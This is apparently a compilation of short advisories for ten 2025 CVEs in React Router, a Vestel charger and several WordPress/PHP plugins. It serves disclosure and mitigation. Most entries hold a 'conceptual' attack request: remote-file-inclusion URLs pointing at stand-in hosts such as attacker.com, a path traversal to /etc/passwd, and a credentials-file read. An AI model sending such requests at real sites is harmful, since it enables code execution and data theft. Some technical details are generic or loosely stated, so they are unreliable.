Author: Ameeba

Overview

The vulnerability CVE-2025-43864 affects versions 7.2.0 to 7.5.1 of React Router, a popular router used in React applications. Exploitation of this vulnerability can lead to cache poisoning, resulting in severe application disruption or even system compromise. As React Router is widely used within various web applications, the impact of this vulnerability is broad and significant.

Vulnerability Summary

CVE ID: CVE-2025-43864
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Successful exploitation results in application disruption due to cache poisoning, potentially leading to system compromise and data leakage.

Affected Products

Product | Affected Versions

React Router | 7.2.0 to 7.5.1

How the Exploit Works

The exploit takes advantage of a flaw in the React Router. By adding a specific header to a request, an attacker can force the application to switch from Server-Side Rendering (SSR) to Single Page Application (SPA) mode. This causes an error that corrupts the application page. If a cache system is present, the error response can be cached, resulting in cache poisoning. This disrupts the application’s availability and can potentially lead to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of an HTTP request that might be used to exploit this vulnerability:

GET / HTTP/1.1
Host: target.example.com
X-Force-SPA: true

This request includes the custom `X-Force-SPA` header (not a real header, used for illustrative purposes), designed to force the application into SPA mode from SSR, thereby triggering the vulnerability.

Mitigation

Users are advised to apply the vendor patch (version 7.5.2) to mitigate the vulnerability. If immediate patching is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation until the patch can be applied.

Overview

CVE-2025-3606 is a high-severity vulnerability that affects Vestel AC Charger version 3.75.0. It enables an attacker to access files containing sensitive information, such as credentials, and potentially compromise the device. The impact of this vulnerability is significant, as it can lead to system compromise or data leakage, posing a serious threat to data privacy and security.

Vulnerability Summary

CVE ID: CVE-2025-3606
Severity: High (7.5 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: Potential system compromise, data leakage, unauthorized access to sensitive files

Affected Products

Product | Affected Versions

Vestel AC Charger | 3.75.0

How the Exploit Works

The vulnerability lies in the improper handling of file access by Vestel AC Charger version 3.75.0. An attacker can exploit this by accessing the local file system, which may contain files with sensitive information. This can be done without any user interaction, and no special privileges are required. Once the attacker has access to these files, they could use the credentials found within to further compromise the device.

Conceptual Example Code

Here is a conceptual example demonstrating how the vulnerability might be exploited:

# The attacker accesses the local file system
$ cd /path/to/sensitive/files
# The attacker reads the file containing sensitive information
$ cat credentials.txt

Mitigation Guidance

It’s recommended to apply the patch provided by the vendor to fix this vulnerability. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These solutions can help detect or block any attempts to exploit this vulnerability.

Overview

The vulnerability CVE-2025-46230 pertains to the GhozyLab Popup Builder, wherein an improper control of filename for Include/Require Statement in PHP program allows PHP Local File Inclusion. This vulnerability can lead to potential system compromise or data leakage, thereby affecting the integrity and confidentiality of the system. This issue is of high importance due to its impact on potentially numerous web applications powered by the PHP programming language.

Vulnerability Summary

CVE ID: CVE-2025-46230
Severity: High, 7.5 (CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GhozyLab Popup Builder | up to and including 1.1.35

How the Exploit Works

The exploit works by manipulating the filename in the Include/Require Statement in a PHP program, which allows an attacker to include a local file from the server. This can be used to execute arbitrary PHP code, providing a pathway for potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a malicious payload.

GET /vulnerable_endpoint.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com
Accept: */*

In this example, the attacker could host a malicious PHP file on their own server (attacker.com) and then trick the vulnerable application into including and executing that code. This would allow the attacker to execute arbitrary code with the privileges of the web server process.

Mitigation

To mitigate the issue, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, users can restrict the input of the file parameter to only allow local resources to be included, and disallow any remote resources.

Overview

This report covers the CVE-2025-39399 vulnerability, which is a PHP Remote File Inclusion issue in ‘License For Envato’ developed by Ashraful Sarkar Naiem. It primarily affects users of this software and could potentially lead to system compromise or data leakage. The severity of this vulnerability underlines the importance of immediate mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39399
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

License For Envato | n/a through 1.0.0

How the Exploit Works

The exploit works due to improper control of the filename for include/require statements in the PHP program of the License For Envato software. An attacker can manipulate these statements to remotely load PHP files from an external server. This can lead to the execution of arbitrary PHP code on the affected system.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a crafted request to a vulnerable instance of License For Envato. The request could look something like this:

GET /vulnerable.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, `vulnerable.php` is a script that includes or requires a file based on the `file` parameter, and `http://attacker.com/malicious.php` is an attacker-controlled file that contains malicious PHP code. When the server processes the request, it includes the malicious file, executing the attacker’s code.

Mitigation

Users are advised to apply patches provided by the vendor to fix this vulnerability. In cases where patches can’t be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It is also recommended to check and sanitize all inputs and avoid using user inputs directly in include/require statements in PHP programs.

Overview

The vulnerability, identified as CVE-2025-39391, pertains to an Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) vulnerability in the Checkout Field Visibility for WooCommerce plugin. This vulnerability can lead to PHP Local File Inclusion, affecting all versions of the plugin up to 1.2.3. Given the widespread use of WooCommerce, this vulnerability has the potential to compromise a significant number of e-commerce websites, leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-39391
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Checkout Field Visibility for WooCommerce | n/a to 1.2.3

How the Exploit Works

The exploit relies on the improper control of filename for include/require statements in PHP programs in the Checkout Field Visibility for WooCommerce plugin. This vulnerability allows an attacker to remotely include files from external servers, which could lead to the execution of arbitrary PHP code on the server.

Conceptual Example Code

In a conceptual example, an attacker might exploit the vulnerability through an HTTP POST request like the following:

POST /wp-content/plugins/checkout-field-visibility-for-woocommerce/vulnerable.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.example.com/malicious_script.php

In this case, the attacker is attempting to include the file ‘malicious_script.php’ from their own server. If successful, the server would then execute the malicious PHP code contained in this file.

Mitigation

Users are strongly advised to apply the latest patch from the vendor as soon as possible. Until the patch can be applied, a web application firewall (WAF) or intrusion detection system (IDS) could be used as temporary mitigation.

Overview

The vulnerability, recognized as CVE-2025-39387, primarily affects WPoperation Opstore, a popular PHP application. This vulnerability involves a PHP Remote File Inclusion flaw, which can be exploited to include local files from the server, potentially leading to system compromise or data leakage. This issue is of high importance due to the potential severity of its impact and the widespread use of the affected application.

Vulnerability Summary

CVE ID: CVE-2025-39387
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WPoperation Opstore | Through 1.4.5

How the Exploit Works

The vulnerability is due to improper handling of filenames for include/require statements in the PHP program. An attacker can manipulate these statements to include local files from the server. This can allow the attacker to execute arbitrary PHP code on the affected system, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

GET /vulnerable/endpoint?file=../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker sends a GET request to a vulnerable endpoint of the target server, attempting to include the ‘/etc/passwd’ file, which contains user password data.

Mitigation Guidance

Users are strongly advised to apply the vendor-supplied patch immediately. In situations where immediate patching is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures do not fully resolve the vulnerability, but can help protect against exploitation.

Overview

This report provides an in-depth analysis of a critical vulnerability, CVE-2025-39384, discovered in cedcommerce Product Lister for eBay. This vulnerability stems from the improper control of the filename for include/require statement in the PHP program, allowing PHP Local File Inclusion and potentially compromising the system or leading to data leakage. Given the popularity of eBay and the widespread usage of the cedcommerce Product Lister, addressing this vulnerability is of utmost importance to protect sensitive data and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-39384
Severity: High (7.5 CVSS)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

cedcommerce Product Lister for eBay | n/a through 2.0.9

How the Exploit Works

The exploit takes advantage of the improper control in the PHP program where the filename for include/require statement is not properly handled. An attacker can remotely manipulate the affected file’s path, thereby allowing the inclusion of local files outside the intended directories. This can lead to unauthorized execution of arbitrary PHP code in the context of the webserver, potentially compromising the system or leading to data leakage.

Conceptual Example Code

The vulnerability might be exploited as per the following conceptual example:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"file_path": "../../../../malicious.php"
}

In the example above, an attacker sends a POST request with a malicious file path, tricking the server into executing code from unintended directories.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure, helping to detect and block malicious requests.

Overview

CVE-2025-39383 is a critical vulnerability found in the Code Work Web Xews Lite software. It is associated with the Improper Control of Filename for Include/Require Statement in PHP Programs, which allows PHP Local File Inclusion. This vulnerability has wide-ranging implications for systems running Xews Lite versions up to 1.0.9. The severity of this vulnerability is significant due to its potential to compromise systems and leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-39383
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Code Work Web Xews Lite | Up to and including 1.0.9

How the Exploit Works

The vulnerability arises due to improper control of filename for include/require statement in PHP programs within the Xews Lite software. This allows an attacker to inject malicious PHP code through the file inclusion functionality. The attacker could manipulate the file inclusion directives to execute arbitrary PHP code, thereby compromising the system and potentially leading to data leakage.

Conceptual Example Code

A conceptual example of exploiting this vulnerability might look like this:

POST /vulnerable/endpoint.php?file=http://attacker.com/malicious_code.txt HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
...

In the example above, the attacker tricks the server into including a file (`malicious_code.txt`) from their server (`attacker.com`). When the server executes the PHP code, it runs the malicious code contained within `malicious_code.txt`.

Mitigation

To mitigate the risk of this vulnerability, users are advised to apply the patch provided by the vendor. In the absence of a patch or until one can be applied, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly updating and patching software can help prevent exploitation of such vulnerabilities.

Overview

The CVE-2025-39379 vulnerability pertains to an improper control of the filename for the Include/Require statement in PHP Program, specifically ‘PHP Remote File Inclusion’ in a tool called Capturly. This vulnerability is of significance because it can potentially lead to system compromise or data leakage, affecting users of Capturly from versions n/a through 2.0.1.

Vulnerability Summary

CVE ID: CVE-2025-39379
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or potential data leakage

Affected Products

Product | Affected Versions

Capturly | n/a through 2.0.1

How the Exploit Works

The vulnerability stems from an improper control of filename for Include/Require statement in PHP Program, specifically PHP Remote File Inclusion. This allows an attacker to inject a file from a remote server, which is then included and executed by the vulnerable script on the server. This can lead to unauthorized access, data leakage, or even a system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /vulnerable.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, an attacker could potentially manipulate the ‘file’ parameter in the GET request to force the server to include and execute a malicious PHP file from a remote server.
This example is conceptual and provided for illustrative purposes only. Actual exploit code may vary based on the specific implementation of the vulnerable script.

Overview

The vulnerability identified as CVE-2025-39378 exposes a glaring security flaw within Holest Engineering Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light. This vulnerability can potentially lead to system compromise or data leakage if exploited, primarily affecting the users of the stated applications. The severity of this vulnerability necessitates immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39378
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

Holest Engineering Spreadsheet Price Changer for WooCommerce | n/a through 2.4.37
Holest Engineering Spreadsheet Price Changer for WP E-commerce – Light | n/a through 2.4.37

How the Exploit Works

The vulnerability stems from an improper control of filenames for include/require statements in PHP programs. This issue allows for PHP Local File Inclusion (LFI) that can be exploited by a remote attacker to execute arbitrary PHP code on the target system. This can lead to unauthorized access or control over the system, potentially leading to data leakage or system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited, via a PHP GET request:

GET /pricechanger.php?file=http://malicious-site.com/malicious_payload.php HTTP/1.1
Host: target.example.com

In this example, the attacker tricks the system into including and executing a PHP file from a remote server (`malicious-site.com`). This file (`malicious_payload.php`) contains the malicious code that leads to system compromise or data leakage.

Mitigation

To remediate this vulnerability, apply the vendor patch as soon as possible. If the patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, helping to filter out malicious requests.